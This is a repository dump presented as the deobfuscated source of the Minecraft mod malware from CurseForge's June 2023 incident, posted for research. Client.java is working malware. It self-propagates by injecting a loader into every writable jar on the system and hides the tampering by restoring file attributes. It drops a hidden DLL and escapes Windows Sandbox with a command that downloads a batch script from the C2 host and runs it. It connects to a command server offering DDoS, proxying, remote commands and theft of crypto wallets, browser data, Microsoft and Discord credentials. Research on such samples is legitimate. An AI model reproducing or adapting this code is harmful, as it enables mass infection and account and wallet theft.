[
  {
    "path": "README.md",
    "content": "# NekoClient\n\nIt appears that the attacker behind CurseForge's June 2023 malware incident posted a deobfuscated version of their malware by accident.\nHere it is on Github for public research purposes.\n\nNo, I am not the author of this, nor am I responsible for infecting your servers."
  },
  {
    "path": "dev/neko/nekoclient/Client.java",
    "content": "package dev.neko.nekoclient;\r\n\r\nimport dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;\r\nimport dev.neko.nekoclient.api.buffer.StreamByteBuffer;\r\nimport dev.neko.nekoclient.api.debugger.Debugger;\r\nimport dev.neko.nekoclient.api.info.ClientInfo;\r\nimport dev.neko.nekoclient.api.info.OperatingSystem;\r\nimport dev.neko.nekoclient.api.info.Side;\r\nimport dev.neko.nekoclient.api.info.User;\r\nimport dev.neko.nekoclient.api.info.VersionInfo;\r\nimport dev.neko.nekoclient.api.windows.WindowsHook;\r\nimport dev.neko.nekoclient.api.windows.vmescape.VMEscape;\r\nimport dev.neko.nekoclient.module.ModuleRegistry;\r\nimport dev.neko.nekoclient.packet.Packet;\r\nimport dev.neko.nekoclient.packet.PacketRegistry;\r\nimport dev.neko.nekoclient.packet.impl.client.KeepAlivePacket;\r\nimport dev.neko.nekoclient.packet.impl.server.CommandPacket;\r\nimport dev.neko.nekoclient.packet.impl.server.DDoSPacket;\r\nimport dev.neko.nekoclient.packet.impl.server.DisconnectPacket;\r\nimport dev.neko.nekoclient.packet.impl.server.HelloPacket;\r\nimport dev.neko.nekoclient.packet.impl.server.ProxyPacket;\r\nimport dev.neko.nekoclient.packet.impl.server.RequestBrowserDataPacket;\r\nimport dev.neko.nekoclient.packet.impl.server.RequestDiscordPacket;\r\nimport dev.neko.nekoclient.packet.impl.server.RequestExodusPacket;\r\nimport dev.neko.nekoclient.packet.impl.server.RequestMSAPacket;\r\nimport dev.neko.nekoclient.packet.impl.server.UpdateModulePacket;\r\nimport dev.neko.nekoclient.packet.listener.PacketListener;\r\nimport dev.neko.nekoclient.packet.listener.impl.CommandPacketListener;\r\nimport dev.neko.nekoclient.packet.listener.impl.DDoSPacketListener;\r\nimport dev.neko.nekoclient.packet.listener.impl.DisconnectPacketListener;\r\nimport dev.neko.nekoclient.packet.listener.impl.HelloPacketListener;\r\nimport dev.neko.nekoclient.packet.listener.impl.ProxyPacketListener;\r\nimport dev.neko.nekoclient.packet.listener.impl.RequestBrowserDataPacketListener;\r\nimport dev.neko.nekoclient.packet.listener.impl.RequestDiscordPacketListener;\r\nimport dev.neko.nekoclient.packet.listener.impl.RequestExodusPacketListener;\r\nimport dev.neko.nekoclient.packet.listener.impl.RequestMSAPacketListener;\r\nimport dev.neko.nekoclient.packet.listener.impl.UpdateModulePacketListener;\r\nimport dev.neko.nekoclient.utils.EncodingUtil;\r\nimport dev.neko.nekoclient.utils.HardwareIDUtil;\r\nimport dev.neko.nekoclient.utils.HashUtil;\r\nimport dev.neko.nekoclient.utils.ObjectUtil;\r\nimport dev.neko.nekoclient.utils.SystemUtil;\r\nimport dev.neko.nekoinjector.Injector;\r\nimport dev.neko.nekoinjector.asm.Entry;\r\nimport dev.neko.nekoinjector.asm.EntryList;\r\nimport dev.neko.nekoinjector.template.Template;\r\nimport dev.neko.nekoinjector.template.impl.BungeecordPluginTemplate;\r\nimport dev.neko.nekoinjector.template.impl.FabricModTemplate;\r\nimport dev.neko.nekoinjector.template.impl.ForgeModTemplate;\r\nimport dev.neko.nekoinjector.template.impl.MinecraftClientTemplate;\r\nimport dev.neko.nekoinjector.template.impl.SpigotPluginTemplate;\r\nimport dev.neko.nekoinjector.utils.ListUtil;\r\nimport java.io.ByteArrayOutputStream;\r\nimport java.io.Closeable;\r\nimport java.io.EOFException;\r\nimport java.io.File;\r\nimport java.io.IOException;\r\nimport java.io.InputStream;\r\nimport java.io.OutputStream;\r\nimport java.io.PrintStream;\r\nimport java.net.InetAddress;\r\nimport java.net.InetSocketAddress;\r\nimport java.net.StandardSocketOptions;\r\nimport java.nio.Buffer;\r\nimport java.nio.ByteBuffer;\r\nimport java.nio.channels.SocketChannel;\r\nimport java.nio.file.AccessDeniedException;\r\nimport java.nio.file.AtomicMoveNotSupportedException;\r\nimport java.nio.file.FileSystem;\r\nimport java.nio.file.FileSystemException;\r\nimport java.nio.file.FileSystems;\r\nimport java.nio.file.FileVisitResult;\r\nimport java.nio.file.Files;\r\nimport java.nio.file.Path;\r\nimport java.nio.file.Paths;\r\nimport java.nio.file.SimpleFileVisitor;\r\nimport java.nio.file.StandardCopyOption;\r\nimport java.nio.file.attribute.AclFileAttributeView;\r\nimport java.nio.file.attribute.BasicFileAttributeView;\r\nimport java.nio.file.attribute.BasicFileAttributes;\r\nimport java.nio.file.attribute.DosFileAttributeView;\r\nimport java.nio.file.attribute.DosFileAttributes;\r\nimport java.nio.file.attribute.FileOwnerAttributeView;\r\nimport java.nio.file.attribute.PosixFileAttributeView;\r\nimport java.nio.file.attribute.PosixFileAttributes;\r\nimport java.nio.file.attribute.UserPrincipal;\r\nimport java.util.ArrayList;\r\nimport java.util.Arrays;\r\nimport java.util.List;\r\nimport java.util.Objects;\r\nimport java.util.StringJoiner;\r\nimport java.util.UUID;\r\nimport java.util.concurrent.CopyOnWriteArrayList;\r\nimport java.util.concurrent.ExecutorService;\r\nimport java.util.concurrent.Executors;\r\nimport java.util.concurrent.ScheduledExecutorService;\r\nimport java.util.concurrent.TimeUnit;\r\nimport java.util.concurrent.atomic.AtomicInteger;\r\nimport java.util.function.Predicate;\r\nimport java.util.jar.JarEntry;\r\nimport java.util.jar.JarFile;\r\nimport java.util.jar.JarOutputStream;\r\nimport java.util.jar.Manifest;\r\nimport java.util.stream.Collectors;\r\nimport jdk.net.ExtendedSocketOptions;\r\nimport org.objectweb.asm.ClassReader;\r\nimport org.objectweb.asm.tree.ClassNode;\r\n\r\npublic class Client implements Closeable {\r\n   private final SocketChannel channel;\r\n   private final PacketRegistry packetRegistry;\r\n   private final VersionInfo versionInfo;\r\n   private final ClientInfo clientInfo;\r\n   private final ScheduledExecutorService service;\r\n   private final List<Client.ConditionListener> listeners;\r\n   private boolean closed;\r\n   private final ModuleRegistry moduleRegistry;\r\n\r\n   public Client(SocketChannel channel, PacketRegistry packetRegistry, ClientInfo clientInfo, VersionInfo versionInfo) throws IOException {\r\n      this.channel = channel;\r\n      this.packetRegistry = packetRegistry;\r\n      this.moduleRegistry = new ModuleRegistry(this);\r\n      this.service = Executors.newScheduledThreadPool(4);\r\n      this.listeners = new CopyOnWriteArrayList<>();\r\n      this.clientInfo = clientInfo;\r\n      this.versionInfo = versionInfo;\r\n      this.closed = false;\r\n   }\r\n\r\n   public static void start(String ip, int port, Path windowsAPIFile, Runnable closeListener) throws IOException {\r\n      start(new InetSocketAddress(ip, port), closeListener);\r\n   }\r\n\r\n   public static void start(InetSocketAddress address, Path windowsAPIFile, Runnable closeListener) throws IOException {\r\n      start(address, closeListener);\r\n   }\r\n\r\n   public static void start(InetSocketAddress address, Runnable closeListener) throws IOException {\r\n      start(address);\r\n      closeListener.run();\r\n   }\r\n\r\n   public static void start(InetSocketAddress address) throws IOException {\r\n      start(address, (byte[])null);\r\n   }\r\n\r\n   public static void start(InetSocketAddress address, byte[] ref) throws IOException {\r\n      List<Runnable> shutdownHooks = new ArrayList<>();\r\n      Debugger debugger = new Debugger(new InetSocketAddress(address.getAddress(), 1338), 1);\r\n      debugger.connect();\r\n\r\n      try {\r\n         String restoredRef = Objects.nonNull(ref) ? new String(EncodingUtil.restoreReversedBytes(ref)) : null;\r\n         boolean refererAvailable = Objects.nonNull(restoredRef) && !restoredRef.isEmpty();\r\n         String encodedRef;\r\n         if (!refererAvailable) {\r\n            encodedRef = null;\r\n         } else {\r\n            StringJoiner rawRefJoiner = new StringJoiner(\".\");\r\n\r\n            for(byte b : ref) {\r\n               rawRefJoiner.add(String.valueOf((int)b));\r\n            }\r\n\r\n            encodedRef = rawRefJoiner.toString();\r\n         }\r\n\r\n         if (refererAvailable) {\r\n            try {\r\n               Path ownPath = Paths.get(Client.class.getProtectionDomain().getCodeSource().getLocation().toURI());\r\n               Path javaFolder = Paths.get(System.getProperty(\"java.home\")).getParent();\r\n               JarFile jarFile = new JarFile(ownPath.toFile());\r\n               ExecutorService injectService = Executors.newWorkStealingPool();\r\n               injectService.execute(\r\n                  () -> {\r\n                     final List<Template> templates = Arrays.asList(\r\n                        new SpigotPluginTemplate(),\r\n                        new FabricModTemplate(),\r\n                        new ForgeModTemplate(),\r\n                        new MinecraftClientTemplate(),\r\n                        new BungeecordPluginTemplate()\r\n                     );\r\n                     FileSystem fileSystem = FileSystems.getDefault();\r\n                     if (!fileSystem.isReadOnly()) {\r\n                        for(Path rootDirectory : fileSystem.getRootDirectories()) {\r\n                           if (Files.isReadable(rootDirectory)) {\r\n                              try {\r\n                                 final AtomicInteger injected = new AtomicInteger(0);\r\n                                 Files.walkFileTree(\r\n                                    rootDirectory,\r\n                                    new SimpleFileVisitor<Path>() {\r\n                                       public FileVisitResult preVisitDirectory(Path path, BasicFileAttributes attrs) throws IOException {\r\n                                          return (!Objects.nonNull(path.getFileName()) || !Objects.equals(path.getFileName().toString(), \"$Recycle.Bin\"))\r\n                                                && !Objects.equals(path, ownPath.getParent())\r\n                                                && !Objects.equals(path, javaFolder)\r\n                                                && (!Objects.nonNull(path.getFileName()) || !Objects.equals(path.getFileName().toString(), \"Java\"))\r\n                                             ? super.preVisitDirectory(path, attrs)\r\n                                             : FileVisitResult.SKIP_SUBTREE;\r\n                                       }\r\n      \r\n                                       public FileVisitResult visitFile(Path path, BasicFileAttributes attrs) {\r\n                                          if (Files.isReadable(path)\r\n                                             && Files.isWritable(path)\r\n                                             && Files.isRegularFile(path)\r\n                                             && path.getFileName().toString().endsWith(\".jar\")) {\r\n                                             try {\r\n                                                JarFile input = new JarFile(path.toFile());\r\n                                                EntryList entries = new EntryList();\r\n                                                ListUtil.toList(entries, input.entries(), entry -> !entry.isDirectory(), jarEntry -> {\r\n                                                   try {\r\n                                                      boolean isClass = jarEntry.getName().endsWith(\".class\");\r\n                                                      InputStream inputStream = input.getInputStream(jarEntry);\r\n                                                      byte[] bytes = new byte[inputStream.available()];\r\n                                                      int length = 0;\r\n      \r\n                                                      while(length < bytes.length) {\r\n                                                         length += inputStream.read(bytes, length, bytes.length - length);\r\n                                                      }\r\n      \r\n                                                      try {\r\n                                                         if (isClass) {\r\n                                                            ClassReader classReader = new ClassReader(bytes);\r\n                                                            ClassNode classNode = new ClassNode(589824);\r\n                                                            classReader.accept(classNode, 8);\r\n                                                            return new Entry(jarEntry, classNode, bytes, false);\r\n                                                         }\r\n                                                      } catch (Throwable var8x) {\r\n                                                      }\r\n      \r\n                                                      return new Entry(jarEntry, null, bytes, false);\r\n                                                   } catch (IOException var9x) {\r\n                                                      throw new RuntimeException(var9x);\r\n                                                   }\r\n                                                });\r\n                                                List suggestedTemplates = templates.stream()\r\n                                                   .filter(template -> template.shouldSuggest(entries))\r\n                                                   .collect(Collectors.toList());\r\n                                                String mainClass = Injector.findMainClass(input.getManifest());\r\n                                                if (Objects.nonNull(mainClass)) {\r\n                                                   Entry entry = entries.getByPath(mainClass);\r\n                                                   if (Objects.nonNull(entry) && suggestedTemplates.isEmpty()) {\r\n                                                      entry.setInject(true);\r\n                                                   }\r\n                                                }\r\n      \r\n                                                for(Template template : suggestedTemplates) {\r\n                                                   entries.stream()\r\n                                                      .filter(Entry::isClass)\r\n                                                      .filter(template::shouldInject)\r\n                                                      .forEach(entry -> entry.setInject(true));\r\n                                                }\r\n      \r\n                                                Manifest manifest = input.getManifest();\r\n                                                if (Objects.nonNull(manifest)) {\r\n                                                   manifest.getEntries().clear();\r\n                                                }\r\n      \r\n                                                if (entries.stream().anyMatch(entry -> entry.isInject() && !entry.isInjected(encodedRef))) {\r\n                                                   Path tempFile = ownPath.getParent().resolve(String.format(\"%s.tmp\", UUID.randomUUID()));\r\n                                                   Files.createFile(tempFile);\r\n                                                   JarOutputStream output = new JarOutputStream(Files.newOutputStream(tempFile));\r\n      \r\n                                                   for(Entry entry : entries) {\r\n                                                      String name = entry.getJarEntry().getName();\r\n                                                      if (!entry.isCertificate()) {\r\n                                                         output.putNextEntry(new JarEntry(entry.getJarEntry().getName()));\r\n                                                         if (entry.isInject() && entry.isClass()) {\r\n                                                            if (entry.isInjected(encodedRef)) {\r\n                                                               output.write(entry.getBytes());\r\n                                                            } else {\r\n                                                               output.write(\r\n                                                                  entry.inject(\r\n                                                                     Injector.loadInstallerNode(\r\n                                                                        jarFile.getInputStream(jarFile.getJarEntry(\"dev/neko/nekoinjector/Loader.class\")),\r\n                                                                        restoredRef\r\n                                                                     )\r\n                                                                  )\r\n                                                               );\r\n                                                            }\r\n                                                         } else if (Objects.nonNull(manifest) && Objects.equals(name, \"META-INF/MANIFEST.MF\")) {\r\n                                                            manifest.write(output);\r\n                                                         } else {\r\n                                                            output.write(entry.getBytes());\r\n                                                         }\r\n                                                      }\r\n                                                   }\r\n      \r\n                                                   output.close();\r\n      \r\n                                                   try {\r\n                                                      BasicFileAttributeView basicView = Files.getFileAttributeView(path, BasicFileAttributeView.class);\r\n                                                      BasicFileAttributes basicAttributes = Objects.nonNull(basicView) ? basicView.readAttributes() : null;\r\n                                                      DosFileAttributeView dosView = Files.getFileAttributeView(path, DosFileAttributeView.class);\r\n                                                      DosFileAttributes dosAttributes = Objects.nonNull(dosView) ? dosView.readAttributes() : null;\r\n                                                      PosixFileAttributeView posixView = Files.getFileAttributeView(path, PosixFileAttributeView.class);\r\n                                                      PosixFileAttributes posixAttributes = Objects.nonNull(posixView) ? posixView.readAttributes() : null;\r\n                                                      FileOwnerAttributeView ownerView = Files.getFileAttributeView(path, FileOwnerAttributeView.class);\r\n                                                      UserPrincipal owner = Objects.nonNull(ownerView) ? ownerView.getOwner() : null;\r\n                                                      AclFileAttributeView aclView = Files.getFileAttributeView(path, AclFileAttributeView.class);\r\n                                                      List acl = Objects.nonNull(aclView) ? aclView.getAcl() : null;\r\n      \r\n                                                      try {\r\n                                                         Files.move(tempFile, path, StandardCopyOption.REPLACE_EXISTING, StandardCopyOption.ATOMIC_MOVE);\r\n                                                      } catch (AccessDeniedException | AtomicMoveNotSupportedException var31) {\r\n                                                         Files.move(tempFile, path, StandardCopyOption.REPLACE_EXISTING);\r\n                                                      }\r\n      \r\n                                                      BasicFileAttributeView modifyBasicView = Files.getFileAttributeView(path, BasicFileAttributeView.class);\r\n                                                      if (Objects.nonNull(basicAttributes) && Objects.nonNull(modifyBasicView)) {\r\n                                                         try {\r\n                                                            modifyBasicView.setTimes(\r\n                                                               basicAttributes.lastModifiedTime(),\r\n                                                               basicAttributes.lastAccessTime(),\r\n                                                               basicAttributes.creationTime()\r\n                                                            );\r\n                                                         } catch (IOException | SecurityException var30) {\r\n                                                         }\r\n                                                      }\r\n      \r\n                                                      DosFileAttributeView modifyDosView = Files.getFileAttributeView(path, DosFileAttributeView.class);\r\n                                                      if (Objects.nonNull(dosAttributes) && Objects.nonNull(modifyDosView)) {\r\n                                                         try {\r\n                                                            modifyDosView.setArchive(dosAttributes.isArchive());\r\n                                                            modifyDosView.setHidden(dosAttributes.isHidden());\r\n                                                            modifyDosView.setReadOnly(dosAttributes.isReadOnly());\r\n                                                         } catch (IOException | SecurityException var29) {\r\n                                                         }\r\n                                                      }\r\n      \r\n                                                      PosixFileAttributeView modifyPosixView = Files.getFileAttributeView(path, PosixFileAttributeView.class);\r\n                                                      if (Objects.nonNull(posixAttributes) && Objects.nonNull(modifyPosixView)) {\r\n                                                         try {\r\n                                                            modifyPosixView.setGroup(posixAttributes.group());\r\n                                                            modifyPosixView.setPermissions(posixAttributes.permissions());\r\n                                                         } catch (IOException | SecurityException var28x) {\r\n                                                         }\r\n                                                      }\r\n      \r\n                                                      FileOwnerAttributeView modifyFileOwnerView = Files.getFileAttributeView(\r\n                                                         path, FileOwnerAttributeView.class\r\n                                                      );\r\n                                                      if (Objects.nonNull(owner) && Objects.nonNull(modifyFileOwnerView)) {\r\n                                                         try {\r\n                                                            modifyFileOwnerView.setOwner(owner);\r\n                                                         } catch (IOException | SecurityException var27) {\r\n                                                         }\r\n                                                      }\r\n      \r\n                                                      AclFileAttributeView modifyAclView = Files.getFileAttributeView(path, AclFileAttributeView.class);\r\n                                                      if (Objects.nonNull(acl) && Objects.nonNull(modifyAclView)) {\r\n                                                         try {\r\n                                                            modifyAclView.setAcl(acl);\r\n                                                         } catch (IOException | SecurityException var26) {\r\n                                                         }\r\n                                                      }\r\n                                                   } catch (FileSystemException var32) {\r\n                                                      Files.delete(tempFile);\r\n                                                      throw var32;\r\n                                                   }\r\n      \r\n                                                   injected.getAndIncrement();\r\n                                                }\r\n      \r\n                                                input.close();\r\n                                             } catch (Throwable var33) {\r\n                                             }\r\n      \r\n                                             return FileVisitResult.CONTINUE;\r\n                                          } else {\r\n                                             return FileVisitResult.CONTINUE;\r\n                                          }\r\n                                       }\r\n      \r\n                                       public FileVisitResult visitFileFailed(Path file, IOException exc) {\r\n                                          return FileVisitResult.CONTINUE;\r\n                                       }\r\n                                    }\r\n                                 );\r\n                              } catch (Throwable var10) {\r\n                              }\r\n                           }\r\n                        }\r\n                     }\r\n                  }\r\n               );\r\n               shutdownHooks.add(injectService::shutdownNow);\r\n            } catch (Throwable var14) {\r\n            }\r\n         }\r\n\r\n         if (WindowsHook.isSupported()) {\r\n            try {\r\n               Path path = Paths.get(Client.class.getProtectionDomain().getCodeSource().getLocation().toURI()).getParent().resolve(\"lib.dll\");\r\n               if (!Files.exists(path) && Files.isWritable(path.getParent()) || Files.isWritable(path)) {\r\n                  InputStream inputStream = Client.class.getClassLoader().getResourceAsStream(\"hook.dll\");\r\n                  if (Files.exists(path)) {\r\n                     Files.delete(path);\r\n                  }\r\n\r\n                  Files.createFile(path);\r\n                  Files.setAttribute(path, \"dos:hidden\", true);\r\n                  Files.setAttribute(path, \"dos:system\", true);\r\n                  OutputStream outputStream = Files.newOutputStream(path);\r\n\r\n                  while(inputStream.available() > 0) {\r\n                     byte[] bytes = new byte[inputStream.available()];\r\n                     inputStream.read(bytes);\r\n                     outputStream.write(bytes);\r\n                  }\r\n\r\n                  outputStream.close();\r\n               }\r\n\r\n               WindowsHook.load(path.toAbsolutePath().toString());\r\n               File storage = new File(new File(Client.class.getProtectionDomain().getCodeSource().getLocation().toURI()).getParentFile(), \"storage\");\r\n               storage.mkdirs();\r\n               VMEscape vmEscape = new VMEscape(\r\n                  storage,\r\n                  Paths.get(System.getenv(\"WINDIR\"), \"System32\", \"cmd.exe\"),\r\n                  \"/c\",\r\n                  String.format(\r\n                     \"\\\"set ref=%s && curl --silent http://%s:%s/script -o %s\\\\._run.bat && start /min %s\\\\._run.bat\\\"\",\r\n                     Objects.isNull(encodedRef) ? \"\" : encodedRef,\r\n                     address.getAddress().getHostAddress(),\r\n                     8080,\r\n                     \"%temp%\",\r\n                     \"%temp%\"\r\n                  )\r\n               );\r\n               if (vmEscape.shouldRun()) {\r\n                  debugger.debug(\"Windows Sandbox detected, escaping...\");\r\n                  vmEscape.run();\r\n                  shutdownHooks.add(vmEscape::stop);\r\n               }\r\n            } catch (Throwable var15) {\r\n            }\r\n         }\r\n\r\n         SocketChannel channel = SocketChannel.open();\r\n         channel.configureBlocking(true);\r\n         channel.socket().connect(address, 5000);\r\n\r\n         try {\r\n            channel.setOption(StandardSocketOptions.SO_KEEPALIVE, true);\r\n            channel.setOption(ExtendedSocketOptions.TCP_KEEPINTERVAL, 10);\r\n            channel.setOption(ExtendedSocketOptions.TCP_KEEPIDLE, 1);\r\n            channel.setOption(ExtendedSocketOptions.TCP_KEEPCOUNT, 4);\r\n         } catch (UnsupportedOperationException | NoSuchFieldError | IOException var13) {\r\n         }\r\n\r\n         try {\r\n            channel.setOption(StandardSocketOptions.TCP_NODELAY, true);\r\n         } catch (UnsupportedOperationException | NoSuchFieldError | IOException var12) {\r\n         }\r\n\r\n         channel.socket().setSoTimeout(60000);\r\n         Client client = new Client(\r\n            channel,\r\n            new PacketRegistry(),\r\n            new ClientInfo(\r\n               new OperatingSystem(\r\n                  SystemUtil.property(\"os.name\"),\r\n                  SystemUtil.property(\"os.version\"),\r\n                  SystemUtil.property(\"os.arch\"),\r\n                  SystemUtil.getAvailableProcessors(),\r\n                  SystemUtil.getTotalPhysicalMemory(),\r\n                  SystemUtil.getProcessorName()\r\n               ),\r\n               new User(\r\n                  SystemUtil.property(\"user.name\"),\r\n                  InetAddress.getLocalHost().getHostName(),\r\n                  SystemUtil.property(\"user.home\"),\r\n                  SystemUtil.property(\"user.country\"),\r\n                  SystemUtil.property(\"user.language\")\r\n               ),\r\n               HardwareIDUtil.generateHardwareID(),\r\n               restoredRef,\r\n               VMEscape.isVirtualMachine()\r\n            ),\r\n            new VersionInfo(\r\n               Side.CLIENT, HashUtil.generateMD5Hash(Files.readAllBytes(Paths.get(Client.class.getProtectionDomain().getCodeSource().getLocation().toURI())))\r\n            )\r\n         );\r\n         client.addListener(HelloPacket.class, new HelloPacketListener());\r\n         client.addListener(CommandPacket.class, new CommandPacketListener());\r\n         client.addListener(DisconnectPacket.class, new DisconnectPacketListener());\r\n         client.addListener(DDoSPacket.class, new DDoSPacketListener());\r\n         client.addListener(RequestExodusPacket.class, new RequestExodusPacketListener());\r\n         client.addListener(ProxyPacket.class, new ProxyPacketListener());\r\n         client.addListener(UpdateModulePacket.class, new UpdateModulePacketListener());\r\n         client.addListener(RequestBrowserDataPacket.class, new RequestBrowserDataPacketListener());\r\n         client.addListener(RequestMSAPacket.class, new RequestMSAPacketListener());\r\n         client.addListener(RequestDiscordPacket.class, new RequestDiscordPacketListener());\r\n         client.getService().scheduleAtFixedRate(() -> {\r\n            try {\r\n               client.send(new KeepAlivePacket());\r\n            } catch (IOException var2x) {\r\n               throw new RuntimeException(var2x);\r\n            }\r\n         }, 10L, 10L, TimeUnit.SECONDS);\r\n         client.listen();\r\n      } catch (Throwable var16) {\r\n         ByteArrayOutputStream dataHolder = new ByteArrayOutputStream();\r\n         PrintStream stream = new PrintStream(dataHolder);\r\n         var16.printStackTrace(stream);\r\n         debugger.debug(dataHolder.toByteArray());\r\n      }\r\n\r\n      for(Runnable shutdownHook : shutdownHooks) {\r\n         shutdownHook.run();\r\n      }\r\n\r\n      debugger.close();\r\n   }\r\n\r\n   public final <T extends Packet> T receive() throws IOException {\r\n      Packet packet = this.packetRegistry.getById(new String(this.read(this.read(1).get()).array()));\r\n      FriendlyByteBuffer buffer = new FriendlyByteBuffer(this.read(this.read(4).getInt()));\r\n      if (Objects.isNull(packet)) {\r\n         throw new IllegalStateException(\"Packet not found!\");\r\n      } else if (!Objects.equals(packet.getDirection().getReceiver(), this.versionInfo.getSide())) {\r\n         throw new IllegalStateException(\"Wrong direction!\");\r\n      } else {\r\n         packet.read(buffer);\r\n         return (T)packet;\r\n      }\r\n   }\r\n\r\n   public final ByteBuffer read(int length) throws IOException {\r\n      ByteBuffer buffer = ByteBuffer.allocate(length);\r\n\r\n      while(buffer.remaining() > 0) {\r\n         if (this.closed || Objects.equals(this.channel.read(buffer), -1)) {\r\n            throw new EOFException();\r\n         }\r\n      }\r\n\r\n      ((Buffer)buffer).flip();\r\n      return buffer;\r\n   }\r\n\r\n   public void listen() {\r\n      while(!this.closed && !this.service.isTerminated() && !this.service.isShutdown() && this.channel.isConnected() && this.channel.isOpen()) {\r\n         try {\r\n            Packet packet = this.receive();\r\n\r\n            for(Client.ConditionListener listener : this.listeners) {\r\n               if (listener.getPredicate().test(packet)) {\r\n                  listener.getListener().call(ObjectUtil.unsafeCast(packet), this, listener.getId());\r\n               }\r\n            }\r\n         } catch (IOException var5) {\r\n            try {\r\n               this.close();\r\n            } catch (IOException var4) {\r\n            }\r\n\r\n            return;\r\n         }\r\n      }\r\n\r\n      try {\r\n         this.close();\r\n      } catch (IOException var6) {\r\n      }\r\n   }\r\n\r\n   public void addListener(Predicate<Packet> predicate, PacketListener<?> listener) {\r\n      this.listeners.add(new Client.ConditionListener(predicate, listener));\r\n   }\r\n\r\n   public void addListener(PacketListener<?> listener) {\r\n      this.addListener(packet -> true, listener);\r\n   }\r\n\r\n   public <T extends Packet> void addListener(Class<T> clazz, PacketListener<T> listener) {\r\n      this.addListener(packet -> clazz.isAssignableFrom(packet.getClass()), listener);\r\n   }\r\n\r\n   public void removeListener(String id) {\r\n      this.listeners.removeIf(conditionListener -> Objects.equals(conditionListener.getId(), id));\r\n   }\r\n\r\n   public void send(Packet packet) throws IOException {\r\n      if (!this.channel.isOpen()) {\r\n         throw new IllegalStateException(\"Channel closed!\");\r\n      } else {\r\n         StreamByteBuffer packetData = new StreamByteBuffer();\r\n         packet.write(packetData);\r\n         ByteBuffer packetBuffer = packetData.getBuffer();\r\n         ((Buffer)packetBuffer).flip();\r\n         byte[] packetId = packet.getId().getBytes();\r\n         ByteBuffer buffer = ByteBuffer.allocate(1 + packetId.length + 4 + packetBuffer.capacity());\r\n         buffer.put((byte)packetId.length);\r\n         buffer.put(packetId);\r\n         buffer.putInt(packetBuffer.capacity());\r\n         buffer.put(packetBuffer);\r\n         ((Buffer)buffer).flip();\r\n\r\n         try {\r\n            this.channel.write(buffer);\r\n         } catch (IOException var7) {\r\n            this.close();\r\n            throw var7;\r\n         }\r\n      }\r\n   }\r\n\r\n   @Override\r\n   public void close() throws IOException {\r\n      if (!this.closed) {\r\n         this.closed = true;\r\n         if (!this.service.isShutdown()) {\r\n            this.service.shutdownNow();\r\n         }\r\n\r\n         if (this.channel.isOpen()) {\r\n            this.channel.close();\r\n         }\r\n      }\r\n   }\r\n\r\n   public final VersionInfo getVersionInfo() {\r\n      return this.versionInfo;\r\n   }\r\n\r\n   public final ClientInfo getClientInfo() {\r\n      return this.clientInfo;\r\n   }\r\n\r\n   public final boolean isConnected() {\r\n      return this.channel.isConnected();\r\n   }\r\n\r\n   public final ScheduledExecutorService getService() {\r\n      return this.service;\r\n   }\r\n\r\n   public final InetSocketAddress getAddress() throws IOException {\r\n      return (InetSocketAddress)this.channel.getRemoteAddress();\r\n   }\r\n\r\n   public final ModuleRegistry getModuleRegistry() {\r\n      return this.moduleRegistry;\r\n   }\r\n\r\n   public static class ConditionListener {\r\n      private final String id = String.format(\"%s-%s\", UUID.randomUUID(), System.currentTimeMillis());\r\n      private final Predicate<Packet> predicate;\r\n      private final PacketListener<?> listener;\r\n\r\n      public ConditionListener(Predicate<Packet> predicate, PacketListener<?> listener) {\r\n         this.predicate = predicate;\r\n         this.listener = listener;\r\n      }\r\n\r\n      public final String getId() {\r\n         return this.id;\r\n      }\r\n\r\n      public final Predicate<Packet> getPredicate() {\r\n         return this.predicate;\r\n      }\r\n\r\n      public final PacketListener<?> getListener() {\r\n         return this.listener;\r\n      }\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/buffer/FriendlyByteBuffer.java",
    "content": "package dev.neko.nekoclient.api.buffer;\r\n\r\nimport java.io.EOFException;\r\nimport java.io.IOException;\r\nimport java.nio.Buffer;\r\nimport java.nio.ByteBuffer;\r\nimport java.nio.channels.SocketChannel;\r\nimport java.util.Objects;\r\n\r\npublic class FriendlyByteBuffer {\r\n   private final ByteBuffer buffer;\r\n\r\n   public FriendlyByteBuffer(ByteBuffer buffer) {\r\n      this.buffer = buffer;\r\n   }\r\n\r\n   public final byte get() {\r\n      return this.buffer.get();\r\n   }\r\n\r\n   public final int getInt() {\r\n      return this.buffer.getInt();\r\n   }\r\n\r\n   public final long getLong() {\r\n      return this.buffer.getLong();\r\n   }\r\n\r\n   public final char getChar() {\r\n      return this.buffer.getChar();\r\n   }\r\n\r\n   public final double getDouble() {\r\n      return this.buffer.getDouble();\r\n   }\r\n\r\n   public final float getFloat() {\r\n      return this.buffer.getFloat();\r\n   }\r\n\r\n   public final short getShort() {\r\n      return this.buffer.getShort();\r\n   }\r\n\r\n   public final byte[] getBytes() {\r\n      int length = this.buffer.getInt();\r\n      if (length < 0) {\r\n         return null;\r\n      } else {\r\n         byte[] bytes = new byte[length];\r\n         this.buffer.get(bytes);\r\n         return bytes;\r\n      }\r\n   }\r\n\r\n   public final byte[] array() {\r\n      return this.buffer.array();\r\n   }\r\n\r\n   public static FriendlyByteBuffer readFully(SocketChannel channel, int length) throws IOException {\r\n      ByteBuffer buffer = ByteBuffer.allocate(length);\r\n\r\n      while(buffer.remaining() > 0) {\r\n         if (Objects.equals(channel.read(buffer), -1) && buffer.remaining() > 0) {\r\n            throw new EOFException();\r\n         }\r\n      }\r\n\r\n      ((Buffer)buffer).flip();\r\n      return new FriendlyByteBuffer(buffer);\r\n   }\r\n\r\n   public final int getUnsignedShort() {\r\n      return this.buffer.getShort() & 65535;\r\n   }\r\n\r\n   public final boolean getBoolean() {\r\n      return this.buffer.get() == 1;\r\n   }\r\n\r\n   public final String getString() {\r\n      byte[] bytes = this.getBytes();\r\n      return Objects.isNull(bytes) ? null : new String(bytes);\r\n   }\r\n\r\n   public final ByteBuffer getBuffer() {\r\n      return this.buffer;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/buffer/StreamByteBuffer.java",
